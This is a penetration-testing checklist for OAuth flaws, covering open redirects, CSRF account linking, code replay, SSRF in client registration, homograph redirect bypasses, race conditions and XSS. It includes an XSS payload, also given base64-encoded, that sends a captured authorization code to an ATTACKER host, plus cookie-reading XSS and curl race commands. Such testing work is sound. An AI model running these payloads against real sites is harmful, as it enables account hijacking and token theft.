OAuth Weaknesses

Check List

Methodology

Black Box

1

Target Areas on Websites

  • Authorization endpoints: /oauth/authorize, /authorize, /oauth2/authorize

  • Token endpoints: /oauth/token, /token, /oauth2/token

  • Redirect/callback endpoints: /callback, /signin-oidc, /oauth/callback

  • Client registration & developer console pages

  • Metadata endpoints: /.well-known/openid-configuration or /.well-known/oauth-authorization-server

  • SPA pages using fragment-based tokens (#access_token=...) or storing tokens in browser storage

  • Pages generating external links or redirects (to check Referer leakage)

2

Identify endpoints accepting redirect_uri

3

Use a controlled domain: redirect_uri=https://proof.example.com

4

Observe the HTTP 302 response and Location header

Malicious redirect; potential token or session theft if combined with other flaws


Authorization Code Injection via Unvalidated state

1

Missing or weak state validation allows an attacker to bind a malicious authorization code to a victim’s session

2

Identify state parameter in /authorize

3

Check how state is generated and stored

4

Send a test request and observe whether the application validates state


SPA Fragment Token Exposure

1

Identify SPA pages using #access_token or #id_token

2

Inspect outgoing links and referer headers

3

Ensure no real tokens are logged


OAuth2 Scope Escalation

1

Clients may request scopes they are not allowed; if the server does not enforce restrictions, privilege escalation is possible

2

Identify scope parameter in authorization requests

3

Check server-side enforcement against client-allowed scopes


OAuth Flow Manipulation

1

Turn ON the interception

2

Initiate the OAuth login proccess

3

In the last step replace your identification data with the victim id

POST /auth HTTP/1.1
Host : example.com
Content-Type : 133

{
    "email":"$EMAIL"
    "username":"$USER"
    "token":$TOKEN
}
4

Forward the modified request

5

Check if you are logged in as a victim

The Authorization Code should be tight to only user started the OAuth process. Use Authorization Code Grant type, instead of Implicit Grant type. Use the Authorization Code flow with PKCE


OAuth Account-Linking CSRF

1

Check if there is a CSRF protection and test it The attacker could hijack the victim's account by conducting a Cross-Site Request Forgery attack

2

Log in to the Attackers Account

3

Turn ON the interception

4

initiate the proccess of Attaching the socail media account

5

On the request with the linking code

  • if it is a GET Request , then copy the whole URL

  • if it is a POST Request , generate a CSRF Poc using Burp Suite

6

After that drop this Request

7

Logout

8

Log in to the victims account

9

Open the copied (in the 3rd step) URL or the generated CSRF Poc URL

10

Logout

11

Access the victim account using the social media account


Authorization Code Leakage via Referer (Referer-based Token Exposure)

1

Browse to a 3rd party page from the URL with sensitive data. If the Authorization Code is reflected inside the Referer header while visiting the third-party site, it can be leaked by the attacker and reused to hijack the victim's account like this

GET / HTTP/1.1
Host : example
Referer : https://example/oaut-linking?code=$TOEN

Authorization Code Replay / Authorization Code Reuse

1

Check if you can reuse the Authorization Code after a few time later In case of Authorization Code leakage, the attacker could reuse it to exchange it for Access Token and hijack the victim's account

2

Complete an entrie OAuth process and save the authorization code

3

Complete the OAuth Flow again , but replace the authorization code with the one Saved From step 1

4

Ensure that the OAuth process fails

If Authorization Code is exchanged for an Access Token, invalidate the Authorization Code and not issue any more Access Token against it. For the JWT tokens use the Refresh Token mechanism to extend it


OAuth Open Redirect

1

Turn ON the interception

2

Initiate the OAuth process

3

Send the request with the redirect_uri parameter to the repeater

GET /OAuth/auth?client_id=asd&redirect_uri=https://example.com&response_type=code HTTP/1.1
Host: example.com
4

Detect the Open Redirect vulnerability Simple Open Redirect - replace the redirect_uri parameter with the domain under your control

GET /OAuth/auth?client_id=1234&redirect_uri=https://attacker.com HTTP/1.1
Host: example.com
5

Second Order SSRF

  • start the HTTP Listener on ports 80 & 443 and repeat the SIMPLE OPEN REDIRECT

  • Check the collaborator if you get the HTTP interaction, for example

GET /OAuth/auth-callback?code=0SwG-3tuLQ9y8GNv2lNYt0mzBTPLKxtzLdw HTTP/1.1
Host: example.com
6

Path Bypass

  • manipulate path to access the same endpoint in different ways, together with Open Redirect

GET /OAuth/////?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./././?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./../auth?client_id=1234&redirect_uri=https://example.com HTTP/1.1
7

Parameter Pollution

  • reuse the redirect_uri parameter

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com&redirect_uri=https://attacker.com HTTP/1.1
8

Referer Based Redirection

  • host the below script on your server, visit it, then use SSO

<html><a href="https://example/login">click on this link</a></html>
9

Fuzzing Open Redirction & Second Order SSRF

  • Generate a payload list using crimson_redirector

  • USAGE: crimson_redirector.py whitelisted_domain domain_collab vps_ip redirect_parameter_name

  • EXAMPLE: crimson_redirector.py whitelisted.com col.example.com 123.123.123.123 redirect_uri

10

Start the HTTP Listener on the VPS server

11

Start the fuzzing the parameter value using Burp Suite

12

Check the output of the Intruder for any suspicious responses


XSS IN OAuth Flow

1

Redirect flow to the static endpoint on the same domain to break it

2

The attacker could use the static endpoint within the application to break the execution flow. Then, prevent the application from consuming the single-use Authorization Code.Then, chain it with an XSS vulnerability found in any endpoint across the application to leak the Authorization Code

3

Identify that the application allows redirecting the user to other paths on the same domain

4

Try exploiting the XSS vulnerability on one of these endpoints

5

If it does not work, search for a static endpoint (401.html) which should break the OAuth flow

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/401.html HTTP/1.1
6

Use the XSS on the other endpoint with the below content, to break the flow and leak the access key

javascript:x=window.open("https://example.com/callback?redirectUrl=https://TARGET/401.html");setTimeout(function() {document.location="http://ATTACKER/?c="+x.location;},5000);
7

Example of an XSS payload to exploit the issue (Credits to Dawid from AFINE for finding this)

<img src=x onerror=location=atob`amF2YXNjcmlwdDp4PXdpbmRvdy5vcGVuKCJodHRwczovL1RBUkdFVC9jYWxsYmFjaz9yZWRpcmVjdFVybD1odHRwczovL1RBUkdFVC80MDEuaHRtbCIpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL0FUVEFDS0VSLz9jPScreC5sb2NhdGlvbjt9LDUwMDApOw==`>
8

Require client applications to register a whitelist of valid redirect_uris. Use strict byte-to-byte comparison to validate the URI. Allow complete and exact matches


Path Traversal

1

Redirect flow to the endpoint on the same domain using path traversal. The attacker could use the vulnerability on the other endpoint within the application and the new path as a proxy page to steal a victim's Access Token, thus hijacking his account

2

Turn ON the interception

3

Initiate the OAuth process

4

Send the request with the redirect_uri parameter to the repeater

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback HTTP/1.1
Host: example.com
5

Change the path using PATH TRAVERSAL to redirect the flow to another endpoint

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback/../vuln HTTP/1.1
6

If it is possible to redirect the user to another endpoint (/vuln), there is a vulnerability FUZZING PATH TRAVERSAL Check the other PATH TRAVERSAL bypasses using the TRAVERSAL_DIR_ONLY wordlist


Dynamic Registration SSRF

1

Check if it is possible to register your client application. Discover the OpenID client registration endpoint: Using the configuration file /.well-known/openid-configuration By the directory brute-forcing (dir_wordlist)

2

Fuzz the POST body to find proper parameters - a good start is to use just

POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json

{"redirect_uris": ["https://whitelist.com/callback"]}
3

If you get the 200 OK response with a CLIENT_ID in the body, it is likely vulnerable

The OpenID provider should require the client application to authenticate itself. For instance, use an HTTP bearer token


OpenID Dynamic Registration SSRF

1

Find the OpenID registration endpoint and check for SSRF

POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json
{"redirect_uris": ["https://whitelisted.com/callback"]}
2

Use a private collaborator in place of the WHITELISTED.COM domain to check for SSRF vulnerability

3

Fuzz the POST body to discover more URI parameters (see the PortSwigger example below)

4

Fuzz the URI parameters values using SSRF wordlist and the one generated with crimson_redirector.py

5

After discovering UNVERIFIED CLIENT REGISTRATION, inject domain collaborator in every URI-like parameter value

POST /client_register HTTP/1.1
Host: example
Content-Type: application/json
{
  "redirect_uris": ["https://example.com/callback"],
  "jwks_uri": "https://jwks.example.com/my_public_keys_jwks",
  "logo_uri": "https://logo.example.com/logo.png"
}
6

Find a way to trigger the server somehow to use these URLs

7

One way is to use the CLIENT_ID parameter value from the server response after registering the client

8

Find the endpoint that fetches the logo (it should be one of the endpoints used during OAuth flow)

9

Use the CLIENT_ID to trigger the server interaction

GET /client/CLIENT_ID/logo HTTP/1.1
10

Observe the DNS/HTTP out-of-bound interactions in your collaborator server


1

OAuth Parameters

Parameter
Usage Location

client_id

authorization request, token request

client_secret

token request

response_type

authorization request

redirect_uri

authorization request, token request

scope

authorization request, authorization response, token request, token response

state

authorization request, authorization response

code

authorization response, token request

error

authorization response, token response

error_description

authorization response, token response

error_uri

authorization response, token response

grant_type

token request

access_token

authorization response, token response

token_type

authorization response, token response

expires_in

authorization response, token response

username

token request

password

token request

refresh_token

token request, token response

nonce

authorization request

display

authorization request

prompt

authorization request

max_age

authorization request

ui_locales

authorization request

claims_locales

authorization request

id_token_hint

authorization request

login_hint

authorization request

acr_values

authorization request

claims

authorization request

registration

authorization request

request

authorization request

request_uri

authorization request

id_token

authorization response, access token response

session_state

authorization response, access token response

assertion

token request

client_assertion

token request

client_assertion_type

token request

code_verifier

token request

code_challenge

authorization request

code_challenge_method

authorization request

claim_token

client request, token endpoint

pct

client request, token endpoint

pct

authorization server response, token endpoint

rpt

client request, token endpoint

ticket

client request, token endpoint

upgraded

authorization server response, token endpoint

vtr

authorization request, token request

device_code

token request

resource

authorization request, token request

audience

token request

requested_token_type

token request

subject_token

token request

subject_token_type

token request

actor_token

token request

actor_token_type

token request

issued_token_type

token response

response_mode

authorization request

nfv_token

access token response

iss

authorization request, authorization response

sub

authorization request

aud

authorization request

exp

authorization request

nbf

authorization request

iat

authorization request

jti

authorization request

ace_profile

token response

nonce1

client-rs request

nonce2

rs-client response

ace_client_recipientid

client-rs request

ace_server_recipientid

rs-client response

req_cnf

token request

rs_cnf

token response

cnf

token response

authorization_details

authorization request, token request, token response

dpop_jkt

authorization request

sign_info

client-rs request, rs-client response

kdcchallenge

rs-client response

trust_chain

(no usage location provided)


PaniCode Bypass

1

The attacker takes control of the homograph/IDN domain (for example, a domain that looks like oauth.example.com)

2

The attacker creates an authorize address whose redirect_uri parameter points to this domain (with Unicode characters)

3

The user logs in and authorizes (or if already authorized, the process appears without interaction)

4

The SEMrush server mistakenly considers the redirect_uri to be valid and sends the authorization code to the attacker's domain (the browser converts it to a paniccode)

5

The attacker takes the code and converts it into an access token and gains access to the user's information/operations

for example request

https://oauth.example.com/oauth2/authorize?
response_type=code&
scope=user.info,projects.info,siteaudit.info&
client_id=seoquake&
redirect_uri=https://oauth.example.com/oauth2/success
6

I convert the domain inside the redirect_uri parameter to paniccode and send the request

  • sémrush.com

  • sêmrush.com

  • sèmrûsh.com

  • šemrush.com

  • etc.

7
https://oauth.semrush.com/oauth2/authorize?
response_type=code&
scope=user.info,projects.info,siteaudit.info&
client_id=seoquake&
redirect_uri=https://oauth.šemrush.com/oauth2/success

XSS in Errors Parameters OAuth Flow

1

We do the authentication process inside OAuth and I get the requests using Burp Suite

2

We do a part of the process wrongly to see the error parameter in the requests Like this request

Full url:https://auth2.example.com/oauth2/fallbacks/error?error=xss&error_description=xss&error_hint=xss
3

If we see one of these parameters in the requests, we will inject this XSS code

<marquee loop%3d1 width%3d0 onfinish%3dco\u006efirm(document.cookie)>XSS<%2fmarquee>
4

for example

https://auth2.example.com/oauth2/fallbacks/error?error=xss&error_description=xsssy&error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E

Race Condition in OAuth

1

Register Application Register an OAuth 2.0 application on the target provider and obtain client_id, client_secret, and redirect_uri

2

Authorize Application Open the authorization URL

https://OAUTH_PROVIDER_DOMAIN/oauth/authorize client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code,

log in as victim, and allow access

3

Obtain Authorization Code Capture the code from the callback

https://APPLICATION_REDIRECT_URI?code=AUTHORIZATION_CODE_VALUE

4

Exploit Race Condition for Access Token Run a script to send multiple simultaneous requests

curl --data "grant_type=authorization_code code=AUTHORIZATION_CODE_VALUE&client_id=APPLICATION_ID&client_secret=APPLICATION_SECRET&redirect_uri=APPLICATION_REDIRECT_URI" "https://OAUTH_PROVIDER_DOMAIN/oauth/token" repeated 20 times
5

Verify Multiple Tokens Check obtained access_tokens by sending

GET /api/me?access_token=ACCESS_TOKEN_VALUE to OAUTH_PROVIDER_DOMAIN;

all should be valid

6

Revoke Access and Test Revoke access via settings or /oauth/revoke for one token, then retest all tokens to see if others remain active

7

Exploit Race Condition for Refresh Token After obtaining initial access_token and refresh_token legally, run a script to send multiple simultaneous requests

 curl --data "grant_type=refresh_token&refresh_token=REFRESH_TOKEN_VALUE&client_id=APPLICATION_ID&client_secret=APPLICATION_SECRET" "https://OAUTH_PROVIDER_DOMAIN/oauth/token" repeated 20 times
8

Verify Multiple Refresh Tokens Check new access_tokens as before; all should be valid, and repeat revocation test to confirm persistence


White Box

Cheat Sheet

Last updated